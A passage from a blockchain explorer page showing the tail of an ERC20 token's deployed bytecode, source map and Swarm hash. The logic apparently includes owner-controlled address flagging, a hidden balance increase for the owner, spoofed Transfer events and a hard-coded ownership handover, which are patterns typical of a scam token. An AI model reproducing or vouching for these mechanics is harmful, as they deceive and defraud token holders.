600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610be791906115bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5a906119b6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc990611a48565b60405180910390fd5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d4057610d39600754826111b190919063ffffffff16565b9050610ed2565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610df15750610da0610713565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8015610e365750610e00610a23565b73ffffffffffffffffffffffffffffffffffffffff16610e1e610713565b73ffffffffffffffffffffffffffffffffffffffff16145b15610ed157610e8d81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5090611ada565b60405180910390fd5b6000610f836064610f75600954866111b190919063ffffffff16565b61128990919063ffffffff16565b9050610fd783600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d390919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110669190611b29565b6110709190611b7f565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161113291906115bd565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866111959190611b7f565b6040516111a291906115bd565b60405180910390a35050505050565b60008083036111c35760009050611225565b600082846111d19190611bb3565b90508284826111e09190611c3c565b14611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790611cdf565b60405180910390fd5b809150505b92915050565b600080828461123a9190611b29565b90508381101561127f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127690611d4b565b60405180910390fd5b8091505092915050565b60006112cb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061131d565b905092915050565b600061131583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611380565b905092915050565b60008083118290611364576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135b919061147d565b60405180910390fd5b50600083856113739190611c3c565b9050809150509392505050565b60008383111582906113c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bf919061147d565b60405180910390fd5b50600083856113d79190611b7f565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561141e578082015181840152602081019050611403565b8381111561142d576000848401525b50505050565b6000601f19601f8301169050919050565b600061144f826113e4565b61145981856113ef565b9350611469818560208601611400565b61147281611433565b840191505092915050565b600060208201905081810360008301526114978184611444565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114cf826114a4565b9050919050565b6114df816114c4565b81146114ea57600080fd5b50565b6000813590506114fc816114d6565b92915050565b6000819050919050565b61151581611502565b811461152057600080fd5b50565b6000813590506115328161150c565b92915050565b6000806040838503121561154f5761154e61149f565b5b600061155d858286016114ed565b925050602061156e85828601611523565b9150509250929050565b60008115159050919050565b61158d81611578565b82525050565b60006020820190506115a86000830184611584565b92915050565b6115b781611502565b82525050565b60006020820190506115d260008301846115ae565b92915050565b6000806000606084860312156115f1576115f061149f565b5b60006115ff868287016114ed565b9350506020611610868287016114ed565b925050604061162186828701611523565b9150509250925092565b6000602082840312156116415761164061149f565b5b600061164f848285016114ed565b91505092915050565b611661816114c4565b82525050565b600060208201905061167c6000830184611658565b92915050565b600080604083850312156116995761169861149f565b5b60006116a7858286016114ed565b92505060206116b8858286016114ed565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061170957607f821691505b60208210810361171c5761171b6116c2565b5b50919050565b7f4945524332303a207472616e7366657220616d65756e7473206578636565647360008201527f20616c6c6f77616e636500000000000000000000000000000000000000000000602082015250565b600061177e602a836113ef565b915061178982611722565b604082019050919050565b600060208201905081810360008301526117ad81611771565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006117ea6020836113ef565b91506117f5826117b4565b602082019050919050565b60006020820190508181036000830152611819816117dd565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061187c6025836113ef565b915061188782611820565b604082019050919050565b600060208201905081810360008301526118ab8161186f565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061190e6023836113ef565b9150611919826118b2565b604082019050919050565b6000602082019050818103600083015261193d81611901565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006119a06026836113ef565b91506119ab82611944565b604082019050919050565b600060208201905081810360008301526119cf81611993565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a326024836113ef565b9150611a3d826119d6565b604082019050919050565b60006020820190508181036000830152611a6181611a25565b9050919050565b7f4945524332303a207472616e7366657220616d65756e7473206578636565647360008201527f2062616c616e6365000000000000000000000000000000000000000000000000602082015250565b6000611ac46028836113ef565b9150611acf82611a68565b604082019050919050565b60006020820190508181036000830152611af381611ab7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611b3482611502565b9150611b3f83611502565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b7457611b73611afa565b5b828201905092915050565b6000611b8a82611502565b9150611b9583611502565b925082821015611ba857611ba7611afa565b5b828203905092915050565b6000611bbe82611502565b9150611bc983611502565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c0257611c01611afa565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611c4782611502565b9150611c5283611502565b925082611c6257611c61611c0d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611cc96021836113ef565b9150611cd482611c6d565b604082019050919050565b60006020820190508181036000830152611cf881611cbc565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611d35601b836113ef565b9150611d4082611cff565b602082019050919050565b60006020820190508181036000830152611d6481611d28565b905091905056fea2646970667358221220aafa1318439c99f39241077d9eb1c6b809ea392ed4011676d1d3f54bb984e60e64736f6c634300080e0033
Deployed Bytecode Sourcemap
3580:4037:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4775:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6560:173;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5060:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7257:355;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4965:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4233:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6434:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4283:94;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4387:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3123:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4868:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6213:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3341:230;;;:::i;:::-;;7098:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4494:103;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4775:85;4814:13;4847:5;4840:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4775:85;:::o;6560:173::-;6645:4;6662:41;6671:12;:10;:12::i;:::-;6685:7;6694:8;6662;:41::i;:::-;6721:4;6714:11;;6560:173;;;;:::o;5060:102::-;5115:7;5142:12;;5135:19;;5060:102;:::o;7257:355::-;7364:4;7381:37;7391:6;7399:9;7410:7;7381:9;:37::i;:::-;7429:24;7456:11;:19;7468:6;7456:19;;;;;;;;;;;;;;;:33;7476:12;:10;:12::i;:::-;7456:33;;;;;;;;;;;;;;;;7429:60;;7528:7;7508:16;:27;;7500:82;;;;;;;;;;;;:::i;:::-;;;;;;;;;7600:4;7593:11;;;7257:355;;;;;:::o;4965:87::-;5008:7;5035:9;;5028:16;;4965:87;:::o;4233:41::-;;;;;;;;;;;;;;;;;;;;;;:::o;6434:118::-;6500:7;6527:8;:17;6536:7;6527:17;;;;;;;;;;;;;;;;6520:24;;6434:118;;;:::o;4283:94::-;3266:12;:10;:12::i;:::-;3256:22;;:6;;;;;;;;;;:22;;;3248:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4365:4:::1;4344:9;:18;4354:7;4344:18;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;4283:94:::0;:::o;4387:97::-;3266:12;:10;:12::i;:::-;3256:22;;:6;;;;;;;;;;:22;;;3248:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4471:5:::1;4450:9;:18;4460:7;4450:18;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;4387:97:::0;:::o;3123:87::-;3169:7;3196:6;;;;;;;;;;;3189:13;;3123:87;:::o;4868:89::-;4909:13;4942:7;4935:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4868:89;:::o;6213:211::-;6301:4;6318:13;6334:12;:10;:12::i;:::-;6318:28;;6357:37;6367:5;6374:9;6385:8;6357:9;:37::i;:::-;6412:4;6405:11;;;6213:211;;;;:::o;3341:230::-;3266:12;:10;:12::i;:::-;3256:22;;:6;;;;;;;;;;:22;;;3248:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3448:42:::1;3411:81;;3432:6;::::0;::::1;;;;;;;;3411:81;;;;;;;;;;;;3520:42;3503:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;3341:230::o:0;7098:151::-;7187:7;7214:11;:18;7226:5;7214:18;;;;;;;;;;;;;;;:27;7233:7;7214:27;;;;;;;;;;;;;;;;7207:34;;7098:151;;;;:::o;4494:103::-;4547:4;4571:9;:18;4581:7;4571:18;;;;;;;;;;;;;;;;;;;;;;;;;4564:25;;4494:103;;;:::o;869:115::-;922:15;965:10;950:26;;869:115;:::o;6741:349::-;6861:1;6844:19;;:5;:19;;;6836:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;6943:1;6924:21;;:7;:21;;;6916:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;7026:7;6996:11;:18;7008:5;6996:18;;;;;;;;;;;;;;;:27;7015:7;6996:27;;;;;;;;;;;;;;;:37;;;;7065:7;7049:33;;7058:5;7049:33;;;7074:7;7049:33;;;;;;:::i;:::-;;;;;;;;6741:349;;;:::o;5170:1035::-;5297:1;5279:20;;:6;:20;;;5271:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5382:1;5361:23;;:9;:23;;;5353:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5449:9;:17;5459:6;5449:17;;;;;;;;;;;;;;;;;;;;;;;;;5445:279;;;5493:25;5505:12;;5493:7;:11;;:25;;;;:::i;:::-;5483:35;;5445:279;;;5567:6;;;;;;;;;;;5557:16;;:6;:16;;;:37;;;;;5587:7;:5;:7::i;:::-;5577:17;;:6;;;;;;;;;;;:17;;;5557:37;:64;;;;;5609:12;:10;:12::i;:::-;5598:23;;:7;:5;:7::i;:::-;:23;;;5557:64;5554:159;;;5664:29;5685:7;5664:8;:16;5673:6;5664:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;5645:8;:16;5654:6;5645:16;;;;;;;;;;;;;;;:48;;;;5554:159;5445:279;5734:16;5753:8;:16;5762:6;5753:16;;;;;;;;;;;;;;;;5734:35;;5800:7;5788:8;:19;;5780:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5872:17;5916:30;5942:3;5916:21;5928:8;;5916:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;5904:42;;5976:29;5997:7;5976:8;:16;5985:6;5976:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;5957:8;:16;5966:6;5957:16;;;;;;;;;;;;;;;:48;;;;6067:9;6059:7;6039:8;:19;6048:9;6039:19;;;;;;;;;;;;;;;;:27;;;;:::i;:::-;:37;;;;:::i;:::-;6016:8;:19;6025:9;6016:19;;;;;;;;;;;;;;;:60;;;;6109:12;;;;;;;;;;;6092:41;;6101:6;6092:41;;;6123:9;6092:41;;;;;;:::i;:::-;;;;;;;;6166:9;6149:46;;6158:6;6149:46;;;6185:9;6177:7;:17;;;;:::i;:::-;6149:46;;;;;;:::i;:::-;;;;;;;;5258:947;;5170:1035;;;:::o;1825:252::-;1883:7;1914:1;1909;:6;1905:47;;1939:1;1932:8;;;;1905:47;1964:9;1980:1;1976;:5;;;;:::i;:::-;1964:17;;2009:1;2004;2000;:5;;;;:::i;:::-;:10;1992:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2068:1;2061:8;;;1825:252;;;;;:::o;1258:181::-;1316:7;1336:9;1352:1;1348;:5;;;;:::i;:::-;1336:17;;1377:1;1372;:6;;1364:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1430:1;1423:8;;;1258:181;;;;:::o;2085:132::-;2143:7;2170:39;2174:1;2177;2170:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2163:46;;2085:132;;;;:::o;1447:136::-;1505:7;1532:43;1536:1;1539;1532:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1525:50;;1447:136;;;;:::o;2225:227::-;2345:7;2377:1;2373;:5;2380:12;2365:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2404:9;2420:1;2416;:5;;;;:::i;:::-;2404:17;;2443:1;2436:8;;;2225:227;;;;;:::o;1591:226::-;1711:7;1744:1;1739;:6;;1747:12;1731:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1771:9;1787:1;1783;:5;;;;:::i;:::-;1771:17;;1808:1;1801:8;;;1591:226;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:329::-;4530:6;4579:2;4567:9;4558:7;4554:23;4550:32;4547:119;;;4585:79;;:::i;:::-;4547:119;4705:1;4730:53;4775:7;4766:6;4755:9;4751:22;4730:53;:::i;:::-;4720:63;;4676:117;4471:329;;;;:::o;4806:118::-;4893:24;4911:5;4893:24;:::i;:::-;4888:3;4881:37;4806:118;;:::o;4930:222::-;5023:4;5061:2;5050:9;5046:18;5038:26;;5074:71;5142:1;5131:9;5127:17;5118:6;5074:71;:::i;:::-;4930:222;;;;:::o;5158:474::-;5226:6;5234;5283:2;5271:9;5262:7;5258:23;5254:32;5251:119;;;5289:79;;:::i;:::-;5251:119;5409:1;5434:53;5479:7;5470:6;5459:9;5455:22;5434:53;:::i;:::-;5424:63;;5380:117;5536:2;5562:53;5607:7;5598:6;5587:9;5583:22;5562:53;:::i;:::-;5552:63;;5507:118;5158:474;;;;;:::o;5638:180::-;5686:77;5683:1;5676:88;5783:4;5780:1;5773:15;5807:4;5804:1;5797:15;5824:320;5868:6;5905:1;5899:4;5895:12;5885:22;;5952:1;5946:4;5942:12;5973:18;5963:81;;6029:4;6021:6;6017:17;6007:27;;5963:81;6091:2;6083:6;6080:14;6060:18;6057:38;6054:84;;6110:18;;:::i;:::-;6054:84;5875:269;5824:320;;;:::o;6150:229::-;6290:34;6286:1;6278:6;6274:14;6267:58;6359:12;6354:2;6346:6;6342:15;6335:37;6150:229;:::o;6385:366::-;6527:3;6548:67;6612:2;6607:3;6548:67;:::i;:::-;6541:74;;6624:93;6713:3;6624:93;:::i;:::-;6742:2;6737:3;6733:12;6726:19;;6385:366;;;:::o;6757:419::-;6923:4;6961:2;6950:9;6946:18;6938:26;;7010:9;7004:4;7000:20;6996:1;6985:9;6981:17;6974:47;7038:131;7164:4;7038:131;:::i;:::-;7030:139;;6757:419;;;:::o;7182:182::-;7322:34;7318:1;7310:6;7306:14;7299:58;7182:182;:::o;7370:366::-;7512:3;7533:67;7597:2;7592:3;7533:67;:::i;:::-;7526:74;;7609:93;7698:3;7609:93;:::i;:::-;7727:2;7722:3;7718:12;7711:19;;7370:366;;;:::o;7742:419::-;7908:4;7946:2;7935:9;7931:18;7923:26;;7995:9;7989:4;7985:20;7981:1;7970:9;7966:17;7959:47;8023:131;8149:4;8023:131;:::i;:::-;8015:139;;7742:419;;;:::o;8167:224::-;8307:34;8303:1;8295:6;8291:14;8284:58;8376:7;8371:2;8363:6;8359:15;8352:32;8167:224;:::o;8397:366::-;8539:3;8560:67;8624:2;8619:3;8560:67;:::i;:::-;8553:74;;8636:93;8725:3;8636:93;:::i;:::-;8754:2;8749:3;8745:12;8738:19;;8397:366;;;:::o;8769:419::-;8935:4;8973:2;8962:9;8958:18;8950:26;;9022:9;9016:4;9012:20;9008:1;8997:9;8993:17;8986:47;9050:131;9176:4;9050:131;:::i;:::-;9042:139;;8769:419;;;:::o;9194:222::-;9334:34;9330:1;9322:6;9318:14;9311:58;9403:5;9398:2;9390:6;9386:15;9379:30;9194:222;:::o;9422:366::-;9564:3;9585:67;9649:2;9644:3;9585:67;:::i;:::-;9578:74;;9661:93;9750:3;9661:93;:::i;:::-;9779:2;9774:3;9770:12;9763:19;;9422:366;;;:::o;9794:419::-;9960:4;9998:2;9987:9;9983:18;9975:26;;10047:9;10041:4;10037:20;10033:1;10022:9;10018:17;10011:47;10075:131;10201:4;10075:131;:::i;:::-;10067:139;;9794:419;;;:::o;10219:225::-;10359:34;10355:1;10347:6;10343:14;10336:58;10428:8;10423:2;10415:6;10411:15;10404:33;10219:225;:::o;10450:366::-;10592:3;10613:67;10677:2;10672:3;10613:67;:::i;:::-;10606:74;;10689:93;10778:3;10689:93;:::i;:::-;10807:2;10802:3;10798:12;10791:19;;10450:366;;;:::o;10822:419::-;10988:4;11026:2;11015:9;11011:18;11003:26;;11075:9;11069:4;11065:20;11061:1;11050:9;11046:17;11039:47;11103:131;11229:4;11103:131;:::i;:::-;11095:139;;10822:419;;;:::o;11247:223::-;11387:34;11383:1;11375:6;11371:14;11364:58;11456:6;11451:2;11443:6;11439:15;11432:31;11247:223;:::o;11476:366::-;11618:3;11639:67;11703:2;11698:3;11639:67;:::i;:::-;11632:74;;11715:93;11804:3;11715:93;:::i;:::-;11833:2;11828:3;11824:12;11817:19;;11476:366;;;:::o;11848:419::-;12014:4;12052:2;12041:9;12037:18;12029:26;;12101:9;12095:4;12091:20;12087:1;12076:9;12072:17;12065:47;12129:131;12255:4;12129:131;:::i;:::-;12121:139;;11848:419;;;:::o;12273:227::-;12413:34;12409:1;12401:6;12397:14;12390:58;12482:10;12477:2;12469:6;12465:15;12458:35;12273:227;:::o;12506:366::-;12648:3;12669:67;12733:2;12728:3;12669:67;:::i;:::-;12662:74;;12745:93;12834:3;12745:93;:::i;:::-;12863:2;12858:3;12854:12;12847:19;;12506:366;;;:::o;12878:419::-;13044:4;13082:2;13071:9;13067:18;13059:26;;13131:9;13125:4;13121:20;13117:1;13106:9;13102:17;13095:47;13159:131;13285:4;13159:131;:::i;:::-;13151:139;;12878:419;;;:::o;13303:180::-;13351:77;13348:1;13341:88;13448:4;13445:1;13438:15;13472:4;13469:1;13462:15;13489:305;13529:3;13548:20;13566:1;13548:20;:::i;:::-;13543:25;;13582:20;13600:1;13582:20;:::i;:::-;13577:25;;13736:1;13668:66;13664:74;13661:1;13658:81;13655:107;;;13742:18;;:::i;:::-;13655:107;13786:1;13783;13779:9;13772:16;;13489:305;;;;:::o;13800:191::-;13840:4;13860:20;13878:1;13860:20;:::i;:::-;13855:25;;13894:20;13912:1;13894:20;:::i;:::-;13889:25;;13933:1;13930;13927:8;13924:34;;;13938:18;;:::i;:::-;13924:34;13983:1;13980;13976:9;13968:17;;13800:191;;;;:::o;13997:348::-;14037:7;14060:20;14078:1;14060:20;:::i;:::-;14055:25;;14094:20;14112:1;14094:20;:::i;:::-;14089:25;;14282:1;14214:66;14210:74;14207:1;14204:81;14199:1;14192:9;14185:17;14181:105;14178:131;;;14289:18;;:::i;:::-;14178:131;14337:1;14334;14330:9;14319:20;;13997:348;;;;:::o;14351:180::-;14399:77;14396:1;14389:88;14496:4;14493:1;14486:15;14520:4;14517:1;14510:15;14537:185;14577:1;14594:20;14612:1;14594:20;:::i;:::-;14589:25;;14628:20;14646:1;14628:20;:::i;:::-;14623:25;;14667:1;14657:35;;14672:18;;:::i;:::-;14657:35;14714:1;14711;14707:9;14702:14;;14537:185;;;;:::o;14728:220::-;14868:34;14864:1;14856:6;14852:14;14845:58;14937:3;14932:2;14924:6;14920:15;14913:28;14728:220;:::o;14954:366::-;15096:3;15117:67;15181:2;15176:3;15117:67;:::i;:::-;15110:74;;15193:93;15282:3;15193:93;:::i;:::-;15311:2;15306:3;15302:12;15295:19;;14954:366;;;:::o;15326:419::-;15492:4;15530:2;15519:9;15515:18;15507:26;;15579:9;15573:4;15569:20;15565:1;15554:9;15550:17;15543:47;15607:131;15733:4;15607:131;:::i;:::-;15599:139;;15326:419;;;:::o;15751:177::-;15891:29;15887:1;15879:6;15875:14;15868:53;15751:177;:::o;15934:366::-;16076:3;16097:67;16161:2;16156:3;16097:67;:::i;:::-;16090:74;;16173:93;16262:3;16173:93;:::i;:::-;16291:2;16286:3;16282:12;16275:19;;15934:366;;;:::o;16306:419::-;16472:4;16510:2;16499:9;16495:18;16487:26;;16559:9;16553:4;16549:20;16545:1;16534:9;16530:17;16523:47;16587:131;16713:4;16587:131;:::i;:::-;16579:139;;16306:419;;;:::o
Swarm Source
ipfs://aafa1318439c99f39241077d9eb1c6b809ea392ed4011676d1d3f54bb984e60e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.